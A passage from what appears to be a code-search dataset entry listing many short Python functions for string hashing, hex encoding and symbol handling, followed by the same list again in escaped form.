hash_function(self, x):\n if not x:\n return -1\n hashed_value = 0\n\n for char in x:\n hashed_value = 181 * hashed_value + ord(char)\n\n return hashed_value % self.capacity","def hex_hash(s):\n if not s:\n return '0'\n s = s.encode('utf-8')\n return '{:x}'.format(adler32(s) & 0xffffffff)","def elf_hash(s):\n h = 0\n for c in s:\n h = (h << 4) + ord(c)\n t = (h & 0xF0000000)\n if t != 0:\n h = h ^ (t >> 24)\n h = h & ~t\n return h","def gen_symkey(self, message):\n return int(hashlib.sha1(str(message)).hexdigest(), 16)","def hashhex(s):\n h = hashlib.sha1()\n h.update(s.encode('utf-8'))\n return h.hexdigest()","def custom_hash(str_in):\n \n PRIMES = [\n 2, 3, 5, 7, 11, 13,\n 17, 19, 23, 29, 31,\n 37, 41, 43, 47, 53,\n 59, 61, 67, 71, 73,\n 79, 83, 89, 97, 101\n ]\n\n LOWERCASE_Z_ASCII = ord('z')\n hash_count = 1\n\n for letter in str_in:\n try:\n hash_count *= PRIMES[ord(letter) - LOWERCASE_Z_ASCII]\n except IndexError:\n print(f'list index out of range: {letter} in {str_in}')\n \n return hash_count","def hex_probabilities(self):\n return {hex(key): value for key, value in self.items()}","def sha256_hexoutput(in_str):\r\n return sha256(in_str.encode('ascii')).hexdigest()","def hex_string(s, n=32):\n # take first n characters, reverse them and get ascii codes with ord()\n return 'X\"{0:>0{1}}\"'.format(''.join(['{0:x}'.format(ord(c)) for c in s[:n][::-1]]), n * 2)","def from_hex_str(value):\n \n return SHex(value)","def poly_hash(text, p, x):\n hash = 0\n for ch in reversed(text):\n hash = (hash * x + ord(ch)) % p\n\n return hash","def hashhex(s):\n h = hashlib.sha1()\n h.update(s.encode('utf-8'))\n return h.hexdigest()","def from_hex(hexstr, width, height):\n return Glyph.from_bytes(binascii.unhexlify(hexstr.encode('ascii')), width, height)","def hexdigest_mySQL41prior (string):\n\t\n\t# Initial variables\n\tnr = 1345345333\n\tadd = 7\n\tnr2 = 0x12345671\n\ttmp = None\n\t\n\t# Algorithm\n\tfor i in range( len(string) ):\n\t\t\n\t\tif string[i] in [' ', '\\t']:\n\t\t\tcontinue\n\t\t\n\t\ttmp = ord(string[i])\n\t\t\n\t\tnr ^= (((nr & 63) + add) * tmp) + ((nr << 8) & 0xFFFFFFFF)\n\t\tnr2 += ((nr2 << 8) & 0xFFFFFFFF) ^ nr\n\t\tadd += tmp\n\t\n\t# Output\n\tout_a = nr & ((1 << 31) - 1)\n\tout_b = nr2 & ((1 << 31) - 1)\n\t\n\t\n\treturn '%08x%08x' % (out_a , out_b )","def ord(s):\n pass","def chord_hash(input_string):\n h = hashlib.sha1() # 160 bit string\n encoded_data = input_string.encode('utf-8')\n h.update(encoded_data)\n hex_string = h.hexdigest()\n hex_value = int(hex_string, 16)\n hash_integer_value = hex_value >> (160 - m)\n return hash_integer_value","def hashstring(astring, tablesize):\n \n sum = 0\n for pos in range(len(astring)):\n # to account for anagrams, we give weightage to positions of the letters to give different hash values\n sum = sum + ord(astring[pos]) * (pos + 1)\n \n return sum % tablesize","def hash(self, text):\n hashval = 0\n for i in xrange(0, len(text)):\n hashval += ord(text[i])**i\n return hashval","def hash_gen(n):\n domain = \"abcdefghijklmnopqrstuvwxyz\"\n temp = \"\"\n for i in range(0, n):\n temp += domain[random.randrange(0, 26)]\n return temp","def get_value(self, str):\r\n base = len(self.chars)\r\n base_placement = len(str) - 1\r\n value = 0\r\n for symbol in str:\r\n valueChar = self.chars.find(symbol)\r\n value += valueChar * (base ** base_placement)\r\n base_placement -= 1\r\n return value","def print_as_hex(s):\n print(\":\".join(\"{0:x}\".format(ord(c)) for c in s))","def _hashcode(token):\n res = 0\n l = len(token)\n cnt = 1\n for c in token:\n res += ord(c) * 31 ** (l - cnt)\n cnt += 1\n return res","def __init__(self, symbol):\n self._symbol = symbol\n self._hash = hash(symbol)","def rand_symbol(start, end):\n import random as r\n if isinstance(start, str) and isinstance(end, str):\n return chr(r.randint(ord(start), ord(end)))\n elif isinstance(start, float) or isinstance(end, float):\n return r.uniform(start, end)\n else:\n return r.randint(start, end)","def myHash(string, base=91, mod=1000000321):\n value = 0\n for pos, elem in enumerate(string[::-1]): # считаем значение полинома\n value += ord(elem) * base**pos # в последней задаче сделано с помощью массива (динамика)\n return value % mod","def hash_string(to_hash):\n\n chars = string.printable\n\n hashed = \"\"\n\n total = 1\n\n counter = 1\n\n for letter in to_hash:\n\n total *= (chars.index(letter) * counter * len(to_hash)*13)\n\n counter += 1\n\n if counter%3 == 0:\n\n total *= total\n\n total = str(total)[:30]\n\n temp_int = \"\"\n\n for i in range(len(total)):\n\n temp_int += total[i]\n\n if i % 2 != 0:\n\n hashed += chars[int(temp_int)]\n\n temp_int = \"\"\n\n return hashed","def computeHash(string):\n\tif isBytes(string):\n\t\tstring = string.decode(\"latin-1\")\n\thash_ = 63689\n\tfor char in string:\n\t\thash_ = hash_ * 378551 + ord(char)\n\treturn hash_ % 65536","def symbol_name(string):\n return 'USymbol' + convert_name(string, True)","def _is_symbol(s):\n\tif (type(s) == types.StringType and s >= 'A' and s[0] <= 'Z'\n\t\t\tand (len(s) < 2 or s[1] < '0' or s[1] > '9')):\n\t\treturn 1\n\treturn 0","def knot_hash(s: str) -> str:\n inp = [ord(c) for c in s] + [17, 31, 73, 47, 23]\n seq = [*range(256)]\n skip, pos = 0, 0\n for _ in range(64):\n seq, skip, pos = knot_hash_round(inp, seq, skip, pos, in_place=False)\n seq = [reduce(lambda a, b: a ^ b, seq[i:i + 16]) for i in range(0, 256, 16)]\n return ''.join(hex(k)[2:].zfill(2) for k in seq)","def gen_hash(s: str) -> str:\n\n m = hashlib.md5()\n m.update(bytes(s, encoding = 'utf8'))\n hash_code = str(m.hexdigest())\n\n return hash_code","def w__format_hex(self, string):\n d = map(None, string)\n d = map(ord, d)\n d = map(lambda x: \"%02x\" % x, d)\n return ' '.join(d)","def lexical_pattern(s):\n cipher = {}\n nextkey = 0\n pattern = ''\n for sym in s:\n if sym not in cipher:\n cipher[sym] = chr(ord('A') + nextkey)\n nextkey += 1\n pattern += cipher[sym]\n return pattern","def hash_function_1(key: str) -> int:\n hash = 0\n for letter in key:\n hash += ord(letter)\n return hash","def hash(plainString):\n result = plainString\n for i in range(0,12):\n result = hashHelp(result)\n return result","def natsort_key(s: str) -> str:\n # generates four types of fragments:\n # 1) strings < \"0\", stay as-is\n # 2) numbers starting with 0, fragment starts with \"A\"..\"Z\"\n # 3) numbers starting with 1..9, fragment starts with \"a\"..\"z\"\n # 4) strings > \"9\", fragment starts with \"|\"\n if \"~\" in s:\n s = s.replace(\"~\", \"\\0\")\n key: List[str] = []\n key_append = key.append\n for frag in _rc.findall(s):\n if frag < \"0\":\n key_append(frag)\n key_append(\"\\1\")\n elif frag < \"1\":\n nzeros = len(frag) - len(frag.lstrip('0'))\n mag = str(nzeros)\n mag = str(10**len(mag) - nzeros)\n key_append(chr(0x5B - len(mag))) # Z, Y, X, ...\n key_append(mag)\n key_append(frag)\n elif frag < \":\":\n mag = str(len(frag))\n key_append(chr(0x60 + len(mag))) # a, b, c, ...\n key_append(mag)\n key_append(frag)\n else:\n key_append(\"|\")\n key_append(frag)\n key_append(\"\\1\")\n if not (key and key[-1] == \"\\1\"):\n key_append(\"\\1\")\n return \"\".join(key)","def hash_function_2(key: str) -> int:\n hash, index = 0, 0\n index = 0\n for letter in key:\n hash += (index + 1) * ord(letter)\n index += 1\n return hash","def HexDigest(self, name, truncation_length=None):\n\n if truncation_length is None:\n truncation_length = 64\n name_bytes = name.encode('UTF-8')\n return hashlib.sha256(name_bytes).hexdigest()[:truncation_length]","def atomic_number2element_symbol(atomic_number):\n return ATOMIC_NUMBER2SYMBOL[atomic_number]","def main():\n inputStr = input(\"Enter string to be hashed: \")\n print(f\"Hashed string: {hash(inputStr.replace(' ', ''))}\")","def number_to_symbol(number):\n return [x for x in _atomic_number if _atomic_number[x] == number][0]","def get_checksum(str):\n hash_object = hashlib.sha1(b'%s' % str)\n hex_dig = hash_object.hexdigest()\n return hex_dig","def singleglyph(x):\n return [glyph(x)]","def hash(self, string):\n return self.__scaffydb.hash(string)","def gamma_function(s):\n return mp.gamma(s)","def strhash(s: str) -> int:\n h = hashlib.md5(s.encode('utf-8'))\n h = int(h.hexdigest(), base=16)\n return h","def unH(s):\n return ''.join([chr(int(s[i:i+2],16)) for i in range(2, len(s),2)])","def _hash(self, string, hash_type):\n hash_types = {\n 'TABLE_OFFSET': 0,\n 'HASH_A': 1,\n 'HASH_B': 2,\n 'TABLE': 3\n }\n seed1 = 0x7FED7FED\n seed2 = 0xEEEEEEEE\n\n for ch in string.upper():\n if not isinstance(ch, int): ch = ord(ch)\n value = self.encryption_table[(hash_types[hash_type] << 8) + ch]\n seed1 = (value ^ (seed1 + seed2)) & 0xFFFFFFFF\n seed2 = ch + seed1 + seed2 + (seed2 << 5) + 3 & 0xFFFFFFFF\n\n return seed1","def get_hexa(num: int) -> str:\n return str(hex(num))[2:].upper()","def make_histogram(s):\n hist = {}\n for x in s:\n hist[x] = hist.get(x, 0) + 1\n for c in string.whitespace + string.punctuation:\n if c in hist:\n hist.pop(c)\n return hist","def test_symbol_repr(self):\n a = pybamm.Symbol(\"a\")\n b = pybamm.Symbol(\"b\")\n c = pybamm.Symbol(\"c\", domain=[\"test\"])\n d = pybamm.Symbol(\"d\", domain=[\"test\"])\n hex_regex = r\"\\-?0x[0-9,a-f]+\"\n self.assertRegex(\n a.__repr__(),\n r\"Symbol\\(\" + hex_regex + r\", a, children\\=\\[\\], domain\\=\\[\\]\\)\",\n )\n self.assertRegex(\n b.__repr__(),\n r\"Symbol\\(\" + hex_regex + r\", b, children\\=\\[\\], domain\\=\\[\\]\\)\",\n )\n self.assertRegex(\n c.__repr__(),\n r\"Symbol\\(\" + hex_regex + r\", c, children\\=\\[\\], domain\\=\\['test'\\]\\)\",\n )\n self.assertRegex(\n d.__repr__(),\n r\"Symbol\\(\" + hex_regex + r\", d, children\\=\\[\\], domain\\=\\['test'\\]\\)\",\n )\n self.assertRegex(\n (a + b).__repr__(),\n r\"Addition\\(\" + hex_regex + r\", \\+, children\\=\\['a', 'b'\\], domain=\\[\\]\\)\",\n )\n self.assertRegex(\n (c * d).__repr__(),\n r\"Multiplication\\(\"\n + hex_regex\n + r\", \\*, children\\=\\['c', 'd'\\], domain=\\['test'\\]\\)\",\n )\n self.assertRegex(\n pybamm.grad(a).__repr__(),\n r\"Gradient\\(\" + hex_regex + \", grad, children\\=\\['a'\\], domain=\\[\\]\\)\",\n )\n self.assertRegex(\n pybamm.grad(c).__repr__(),\n r\"Gradient\\(\"\n + hex_regex\n + \", grad, children\\=\\['c'\\], domain=\\['test'\\]\\)\",\n )","def hexdigest(self):\n return \"\".join(\"%02x\" % ord(x)\n for x in MegaCrypto.a32_to_str(self.digest()))","def uCSIsYijingHexagramSymbols(code):\n ret = libxml2mod.xmlUCSIsYijingHexagramSymbols(code)\n return ret","def legendre_symbol(a, p):\n ls = pow((int)(a), (int)((p - 1) / 2), (int)(p))\n return -1 if ls == p - 1 else ls","def print_symbols():\n\n global program\n if program is None:\n print \"no program is loaded\"\n return\n for(s, a) in program.symbols():\n print \"0x{:x} : {}\".format(a, s)","def printHex(str):\r\n\tmes = []\r\n\tfor ch in str:\r\n\t\tif ch in printable:\r\n\t\t\tmes.append(ch)\r\n\t\telse:\r\n\t\t\t# rendo visibile il codice\r\n\t\t\tmes.append(\"(%02x)\" %ord(ch))\r\n\t\t\tif ch == '\\n':\r\n\t\t\t\tmes.append('\\n')\r\n\tprint \"\".join(mes)","def hx(i):\n a = hex(i)[2:]\n if len(a)<2: a = ''.join(['0',a])\n return a","def hexdigest(self):\r\n return ''.join(['%02x' % ord(c) for c in self.digest()])","def hash_key(self,key: str) -> int: \n \n total = 0\n prime = 3\n \n for index, char in enumerate(key,start=1):\n \n total += ord(char)*(prime)**index\n \n return total % self.buckets","def bin_code(self):\n self.alphabet = np.unique(self.sequence)\n\n for s, n in zip([chr(k + ord('a') - 1) for k in self.alphabet], self.alphabet):\n self.alphabet_symbol[s] = n\n\n sigm = len(self.alphabet)\n bin_code = []\n for i, e in enumerate(self.alphabet):\n em = [0] * sigm\n em[sigm - 1 - i] = 1\n bin_code.append(em)\n\n for i in range(len(bin_code)):\n self.alphabet_dict[self.alphabet[i]] = bin_code[i]\n\n return reduce(lambda r, e: r + self.alphabet_dict[e], self.sequence, [])","def genSCID():\n scid_hex = getRandomBytes(8)\n scid_hex = getSHA256Hex(scid_hex)\n scid_hex = scid_hex[0:8]\n return scid_hex","def getSymbolValue(self) -> int:\n ...","def legendre_symbol(a, p):\n\tls = pow(a, (p - 1) // 2, p)\n\treturn -1 if ls == p - 1 else ls","def getCurrencySymbol():","def fn(c):\n ans = 0\n for k in range(1, 16): \n ans = min(ans, k*16+k, key=lambda x: abs(x - int(c, 16)))\n return hex(ans)[2:].zfill(2)","def concat_hash(self, x, symkey):\n msg = '%s%s' % (x, symkey)\n return int(hashlib.sha1(msg).hexdigest(), 16)","def _s_hash(fn, data: str):\n\n return fn(_b(data)).hexdigest()","def H2( curve, in_str ):\n return curve.hash_to_point( \"H2_salt%s\" % in_str )","def english_probability(s: str) -> float:\n\n # Use cosine similarity to determine how much the string resembles\n # the letter distribution of English.\n\n # But first, if there are non-ascii characters in the result string, it is\n # certainly not English, so we can stop early\n for c in s:\n if c not in string.printable:\n return 0\n\n # Now, begin by making `s` into a vector of fractions, representing how\n # often each character appears. Must have the same character set as\n # CHAR_FREQ for the math to work correctly, so throw out other characters.\n cntr = Counter(c.lower() for c in s if c in CHAR_FREQ.keys())\n total_chars = sum(cntr.values())\n vec = {c: freq/total_chars for c, freq in cntr.items()}\n\n # Do the actual calculation. `vec` is 'a' and `CHAR_FREQ` is 'b'\n a_dot_b = sum(pair[0] * pair[1] for pair in zip_dict(vec, CHAR_FREQ))\n mag_a = sqrt(sum(freq**2 for freq in vec.values()))\n mag_b = sqrt(sum(freq**2 for freq in CHAR_FREQ.values()))\n\n return a_dot_b / (mag_a * mag_b)","def __alphanum_key(self, s):\n return [self.__tryint(c) for c in re.split(\"([0-9]+)\", s)]","def identifier_hash(identifier, sigfig=None):\n if sigfig is None:\n sigfig = id_sigfig\n\n # convert identifier to integers and order of magnitude\n as_int, multiplier = util.sigfig_int(identifier, sigfig)\n # make all scales positive\n if (multiplier < 0).any():\n multiplier += np.abs(multiplier.min())\n hashable = (as_int * (10 ** multiplier)).astype(np.int64)\n return hashlib.md5(hashable).hexdigest()","def _symbol(self):\n if self._symbol_cycle is None:\n self._symbol_cycle = itertools.cycle([WarmFrontogenesis._symbol,\n ColdFrontogenesis._symbol])\n return next(self._symbol_cycle)","def nonlatin_detector(dom):\n str = domain_string(dom[0], dom[1])\n N = len(str)\n hex = [c.encode('utf-8').encode('hex') for c in list(str)]\n return float(sum([len(h)/2 for h in hex]) - N)/N","def h_ascii(key, N):\n if type(key) == str:\n if type(N) == int:\n s = 0\n for i in range(len(key)):\n s += ord(key[i])\n return s % N\n else:\n raise ValueError\n else:\n raise ValueError","def emit_symbol(self):\n emissions = self.emission_map[self.current_state]\n return select_from_probability_dict(random(),emissions)","def hash_f(x: Text) -> Tuple[Text, Text]:\n return \"hash\", x.lower()","def digest(self, seq):\n\n h = hashlib.new(self._hash_algorithm)\n h.update(seq)\n dig = h.hexdigest()\n\n return dig","def entropy(string):\n p, lns = Counter(string), float(len(string))\n return -sum(count/lns * math.log(count/lns, 2) for count in p.values())","def signature(s, n, hash_function=_crc32_hash):\n return set(sorted((hash_function(e), e) for e in s)[:n])","def getSymbolAt(self, address: ghidra.program.model.address.Address) -> ghidra.program.model.symbol.Symbol:\n ...","def checksum(value: str) -> str:\n return chr(65 + sum(CHECKSUM_TABLE[index % 2][ALPHANUMERICS_DICT[char]] for index, char in enumerate(value)) % 26)","def update_char_histogram(s,hist = dict()):\r\n for c in s:\r\n if c.isspace():\r\n continue\r\n if c not in hist:\r\n hist[c] = 0\r\n hist[c] += 1\r\n return hist","def _create_symbol_mapping():\n normal_items = [\"+\", \"-\"]\n unicode_items = [chr(0x2070 + i) for i in range(10, 12)]\n\n # Create a dict mapping the two.\n return DefaultDictionary(zip(normal_items, unicode_items))","def __hash__(self):\n return hash((self.SYMBOL, self._.hash_parameters))","def hex(string):\n return string.encode('hex')"],"string":"[\n \"def _symbol(self,s):\\n return self.symbollist[s%len(self.symbollist)]\",\n \"def customHashFunc(str):\\n return sum(ord(chr) for chr in str)%128\",\n \"def H(s):\\n return 'H_' + ''.join(['%02x' % ord(x) for x in s])\",\n \"def get_hash_code(s):\\n h = 0\\n n = len(s)\\n for i, c in enumerate(s):\\n h = h + ord(c) * 31 ** (n - 1 - i)\\n return StrUtil.convert_4_bytes(h)\",\n \"def symbol(string: str) -> str:\\n L = len(string)\\n P1 = random.randint(1, L-1, 2)\\n chars = []\\n for char in string:\\n chars.append(char)\\n chars[P1[0]] = chars[P1[0]].upper()\\n chars[P1[1]] = chars[P1[1]].upper()\\n return ''.join(x for x in chars if x.isupper())+str(random.randint(9))\",\n \"def get_statistic(source_text):\\n symbols = {s: 0 for s in bytes(range(0, 256))}\\n for symbol in source_text:\\n symbols[symbol] += 1\\n return symbols\",\n \"def frequencyLetterDic(s):\\n pass\",\n \"def __polynomial_hash(self, s, base = 31, max_size=168):\\r\\n digest = 0\\r\\n max_size = 168\\r\\n for c in s: digest = base * digest + ord(c)\\r\\n digest &= 2 ** max_size - 1 \\r\\n return hex(digest).rstrip('L')\",\n \"def _symbol_mash(base_symbol: str, ds_symbol: Optional[int]) -> int:\\n base_table = {'circle': 0, 'diamond': 2, 'square': 1, 'hexagram': 18}\\n if ds_symbol is None:\\n return base_table[base_symbol]\\n ds_offsets = {37: 0, 38: 1, 39: 2, 40: 3, 34: 4, 33: 5, 35: 6, 36: 7}\\n slots = {i for i in range(53)} - set(base_table.values()) - set(ds_offsets.keys())\\n slots = sorted(list(slots))\\n base_offsets = {\\n 'circle': 0, 'diamond': len(ds_offsets), 'square': 2 * len(ds_offsets), 'hexagram': 3 * len(ds_offsets)\\n }\\n mashed_symbol = slots[base_offsets[base_symbol] + ds_offsets[ds_symbol]]\\n return mashed_symbol\",\n \"def symbolsAssign(clusters):\\n \\n alphabet = ['A','a','B','b','C','c','D','d','E','e',\\n 'F','f','G','g','H','h','I','i','J','j',\\n 'K','k','L','l','M','m','N','n','O','o',\\n 'P','p','Q','q','R','r','S','s','T','t',\\n 'U','u','V','v','W','w','X','x','Y','y','Z','z']\\n \\n clusters = pd.Series(clusters)\\n N = len(clusters.unique())\\n\\n cluster_sort = [0] * N \\n counter = collections.Counter(clusters)\\n for ind, el in enumerate(counter.most_common()):\\n cluster_sort[ind] = el[0]\\n\\n if N >= len(alphabet):\\n alphabet = [chr(i+33) for i in range(0, N)]\\n else:\\n alphabet = alphabet[:N]\\n hashm = dict(zip(cluster_sort + alphabet, alphabet + cluster_sort))\\n strings = [hashm[i] for i in clusters]\\n return strings, hashm\",\n \"def genHexStr(instr: str) -> str:\\n\\n return hashlib.md5(instr.encode(\\\"utf-8\\\")).hexdigest()\",\n \"def test_string_to_hex():\\n strings = ['helloworld', 'HelloWorld', 'HELLOWORLD', 'Hello WorLd', 'hElLo W Or L d', 'h e l l o w o r l d']\\n\\n for i, word in enumerate(strings):\\n assert pi_finder.string_to_hex(word, hex_dict) == '68656c6c6f776f726c64'\",\n \"def hashhex(s):\\n h = hashlib.sha1()\\n h.update(s)\\n return h.hexdigest()\",\n \"def hash(string):\\n hs = 0\\n for s in string:\\n hs += ord(s)\\n return hs\",\n \"def hashhex(s):\\n h = hashlib.sha1()\\n h.update(s.encode())\\n return h.hexdigest()\",\n \"def hash_function(self, x):\\n if not x:\\n return -1\\n hashed_value = 0\\n\\n for char in x:\\n hashed_value = 181 * hashed_value + ord(char)\\n\\n return hashed_value % self.capacity\",\n \"def hex_hash(s):\\n if not s:\\n return '0'\\n s = s.encode('utf-8')\\n return '{:x}'.format(adler32(s) & 0xffffffff)\",\n \"def elf_hash(s):\\n h = 0\\n for c in s:\\n h = (h << 4) + ord(c)\\n t = (h & 0xF0000000)\\n if t != 0:\\n h = h ^ (t >> 24)\\n h = h & ~t\\n return h\",\n \"def gen_symkey(self, message):\\n return int(hashlib.sha1(str(message)).hexdigest(), 16)\",\n \"def hashhex(s):\\n h = hashlib.sha1()\\n h.update(s.encode('utf-8'))\\n return h.hexdigest()\",\n \"def custom_hash(str_in):\\n \\n PRIMES = [\\n 2, 3, 5, 7, 11, 13,\\n 17, 19, 23, 29, 31,\\n 37, 41, 43, 47, 53,\\n 59, 61, 67, 71, 73,\\n 79, 83, 89, 97, 101\\n ]\\n\\n LOWERCASE_Z_ASCII = ord('z')\\n hash_count = 1\\n\\n for letter in str_in:\\n try:\\n hash_count *= PRIMES[ord(letter) - LOWERCASE_Z_ASCII]\\n except IndexError:\\n print(f'list index out of range: {letter} in {str_in}')\\n \\n return hash_count\",\n \"def hex_probabilities(self):\\n return {hex(key): value for key, value in self.items()}\",\n \"def sha256_hexoutput(in_str):\\r\\n return sha256(in_str.encode('ascii')).hexdigest()\",\n \"def hex_string(s, n=32):\\n # take first n characters, reverse them and get ascii codes with ord()\\n return 'X\\\"{0:>0{1}}\\\"'.format(''.join(['{0:x}'.format(ord(c)) for c in s[:n][::-1]]), n * 2)\",\n \"def from_hex_str(value):\\n \\n return SHex(value)\",\n \"def poly_hash(text, p, x):\\n hash = 0\\n for ch in reversed(text):\\n hash = (hash * x + ord(ch)) % p\\n\\n return hash\",\n \"def hashhex(s):\\n h = hashlib.sha1()\\n h.update(s.encode('utf-8'))\\n return h.hexdigest()\",\n \"def from_hex(hexstr, width, height):\\n return Glyph.from_bytes(binascii.unhexlify(hexstr.encode('ascii')), width, height)\",\n \"def hexdigest_mySQL41prior (string):\\n\\t\\n\\t# Initial variables\\n\\tnr = 1345345333\\n\\tadd = 7\\n\\tnr2 = 0x12345671\\n\\ttmp = None\\n\\t\\n\\t# Algorithm\\n\\tfor i in range( len(string) ):\\n\\t\\t\\n\\t\\tif string[i] in [' ', '\\\\t']:\\n\\t\\t\\tcontinue\\n\\t\\t\\n\\t\\ttmp = ord(string[i])\\n\\t\\t\\n\\t\\tnr ^= (((nr & 63) + add) * tmp) + ((nr << 8) & 0xFFFFFFFF)\\n\\t\\tnr2 += ((nr2 << 8) & 0xFFFFFFFF) ^ nr\\n\\t\\tadd += tmp\\n\\t\\n\\t# Output\\n\\tout_a = nr & ((1 << 31) - 1)\\n\\tout_b = nr2 & ((1 << 31) - 1)\\n\\t\\n\\t\\n\\treturn '%08x%08x' % (out_a , out_b )\",\n \"def ord(s):\\n pass\",\n \"def chord_hash(input_string):\\n h = hashlib.sha1() # 160 bit string\\n encoded_data = input_string.encode('utf-8')\\n h.update(encoded_data)\\n hex_string = h.hexdigest()\\n hex_value = int(hex_string, 16)\\n hash_integer_value = hex_value >> (160 - m)\\n return hash_integer_value\",\n \"def hashstring(astring, tablesize):\\n \\n sum = 0\\n for pos in range(len(astring)):\\n # to account for anagrams, we give weightage to positions of the letters to give different hash values\\n sum = sum + ord(astring[pos]) * (pos + 1)\\n \\n return sum % tablesize\",\n \"def hash(self, text):\\n hashval = 0\\n for i in xrange(0, len(text)):\\n hashval += ord(text[i])**i\\n return hashval\",\n \"def hash_gen(n):\\n domain = \\\"abcdefghijklmnopqrstuvwxyz\\\"\\n temp = \\\"\\\"\\n for i in range(0, n):\\n temp += domain[random.randrange(0, 26)]\\n return temp\",\n \"def get_value(self, str):\\r\\n base = len(self.chars)\\r\\n base_placement = len(str) - 1\\r\\n value = 0\\r\\n for symbol in str:\\r\\n valueChar = self.chars.find(symbol)\\r\\n value += valueChar * (base ** base_placement)\\r\\n base_placement -= 1\\r\\n return value\",\n \"def print_as_hex(s):\\n print(\\\":\\\".join(\\\"{0:x}\\\".format(ord(c)) for c in s))\",\n \"def _hashcode(token):\\n res = 0\\n l = len(token)\\n cnt = 1\\n for c in token:\\n res += ord(c) * 31 ** (l - cnt)\\n cnt += 1\\n return res\",\n \"def __init__(self, symbol):\\n self._symbol = symbol\\n self._hash = hash(symbol)\",\n \"def rand_symbol(start, end):\\n import random as r\\n if isinstance(start, str) and isinstance(end, str):\\n return chr(r.randint(ord(start), ord(end)))\\n elif isinstance(start, float) or isinstance(end, float):\\n return r.uniform(start, end)\\n else:\\n return r.randint(start, end)\",\n \"def myHash(string, base=91, mod=1000000321):\\n value = 0\\n for pos, elem in enumerate(string[::-1]): # считаем значение полинома\\n value += ord(elem) * base**pos # в последней задаче сделано с помощью массива (динамика)\\n return value % mod\",\n \"def hash_string(to_hash):\\n\\n chars = string.printable\\n\\n hashed = \\\"\\\"\\n\\n total = 1\\n\\n counter = 1\\n\\n for letter in to_hash:\\n\\n total *= (chars.index(letter) * counter * len(to_hash)*13)\\n\\n counter += 1\\n\\n if counter%3 == 0:\\n\\n total *= total\\n\\n total = str(total)[:30]\\n\\n temp_int = \\\"\\\"\\n\\n for i in range(len(total)):\\n\\n temp_int += total[i]\\n\\n if i % 2 != 0:\\n\\n hashed += chars[int(temp_int)]\\n\\n temp_int = \\\"\\\"\\n\\n return hashed\",\n \"def computeHash(string):\\n\\tif isBytes(string):\\n\\t\\tstring = string.decode(\\\"latin-1\\\")\\n\\thash_ = 63689\\n\\tfor char in string:\\n\\t\\thash_ = hash_ * 378551 + ord(char)\\n\\treturn hash_ % 65536\",\n \"def symbol_name(string):\\n return 'USymbol' + convert_name(string, True)\",\n \"def _is_symbol(s):\\n\\tif (type(s) == types.StringType and s >= 'A' and s[0] <= 'Z'\\n\\t\\t\\tand (len(s) < 2 or s[1] < '0' or s[1] > '9')):\\n\\t\\treturn 1\\n\\treturn 0\",\n \"def knot_hash(s: str) -> str:\\n inp = [ord(c) for c in s] + [17, 31, 73, 47, 23]\\n seq = [*range(256)]\\n skip, pos = 0, 0\\n for _ in range(64):\\n seq, skip, pos = knot_hash_round(inp, seq, skip, pos, in_place=False)\\n seq = [reduce(lambda a, b: a ^ b, seq[i:i + 16]) for i in range(0, 256, 16)]\\n return ''.join(hex(k)[2:].zfill(2) for k in seq)\",\n \"def gen_hash(s: str) -> str:\\n\\n m = hashlib.md5()\\n m.update(bytes(s, encoding = 'utf8'))\\n hash_code = str(m.hexdigest())\\n\\n return hash_code\",\n \"def w__format_hex(self, string):\\n d = map(None, string)\\n d = map(ord, d)\\n d = map(lambda x: \\\"%02x\\\" % x, d)\\n return ' '.join(d)\",\n \"def lexical_pattern(s):\\n cipher = {}\\n nextkey = 0\\n pattern = ''\\n for sym in s:\\n if sym not in cipher:\\n cipher[sym] = chr(ord('A') + nextkey)\\n nextkey += 1\\n pattern += cipher[sym]\\n return pattern\",\n \"def hash_function_1(key: str) -> int:\\n hash = 0\\n for letter in key:\\n hash += ord(letter)\\n return hash\",\n \"def hash(plainString):\\n result = plainString\\n for i in range(0,12):\\n result = hashHelp(result)\\n return result\",\n \"def natsort_key(s: str) -> str:\\n # generates four types of fragments:\\n # 1) strings < \\\"0\\\", stay as-is\\n # 2) numbers starting with 0, fragment starts with \\\"A\\\"..\\\"Z\\\"\\n # 3) numbers starting with 1..9, fragment starts with \\\"a\\\"..\\\"z\\\"\\n # 4) strings > \\\"9\\\", fragment starts with \\\"|\\\"\\n if \\\"~\\\" in s:\\n s = s.replace(\\\"~\\\", \\\"\\\\0\\\")\\n key: List[str] = []\\n key_append = key.append\\n for frag in _rc.findall(s):\\n if frag < \\\"0\\\":\\n key_append(frag)\\n key_append(\\\"\\\\1\\\")\\n elif frag < \\\"1\\\":\\n nzeros = len(frag) - len(frag.lstrip('0'))\\n mag = str(nzeros)\\n mag = str(10**len(mag) - nzeros)\\n key_append(chr(0x5B - len(mag))) # Z, Y, X, ...\\n key_append(mag)\\n key_append(frag)\\n elif frag < \\\":\\\":\\n mag = str(len(frag))\\n key_append(chr(0x60 + len(mag))) # a, b, c, ...\\n key_append(mag)\\n key_append(frag)\\n else:\\n key_append(\\\"|\\\")\\n key_append(frag)\\n key_append(\\\"\\\\1\\\")\\n if not (key and key[-1] == \\\"\\\\1\\\"):\\n key_append(\\\"\\\\1\\\")\\n return \\\"\\\".join(key)\",\n \"def hash_function_2(key: str) -> int:\\n hash, index = 0, 0\\n index = 0\\n for letter in key:\\n hash += (index + 1) * ord(letter)\\n index += 1\\n return hash\",\n \"def HexDigest(self, name, truncation_length=None):\\n\\n if truncation_length is None:\\n truncation_length = 64\\n name_bytes = name.encode('UTF-8')\\n return hashlib.sha256(name_bytes).hexdigest()[:truncation_length]\",\n \"def atomic_number2element_symbol(atomic_number):\\n return ATOMIC_NUMBER2SYMBOL[atomic_number]\",\n \"def main():\\n inputStr = input(\\\"Enter string to be hashed: \\\")\\n print(f\\\"Hashed string: {hash(inputStr.replace(' ', ''))}\\\")\",\n \"def number_to_symbol(number):\\n return [x for x in _atomic_number if _atomic_number[x] == number][0]\",\n \"def get_checksum(str):\\n hash_object = hashlib.sha1(b'%s' % str)\\n hex_dig = hash_object.hexdigest()\\n return hex_dig\",\n \"def singleglyph(x):\\n return [glyph(x)]\",\n \"def hash(self, string):\\n return self.__scaffydb.hash(string)\",\n \"def gamma_function(s):\\n return mp.gamma(s)\",\n \"def strhash(s: str) -> int:\\n h = hashlib.md5(s.encode('utf-8'))\\n h = int(h.hexdigest(), base=16)\\n return h\",\n \"def unH(s):\\n return ''.join([chr(int(s[i:i+2],16)) for i in range(2, len(s),2)])\",\n \"def _hash(self, string, hash_type):\\n hash_types = {\\n 'TABLE_OFFSET': 0,\\n 'HASH_A': 1,\\n 'HASH_B': 2,\\n 'TABLE': 3\\n }\\n seed1 = 0x7FED7FED\\n seed2 = 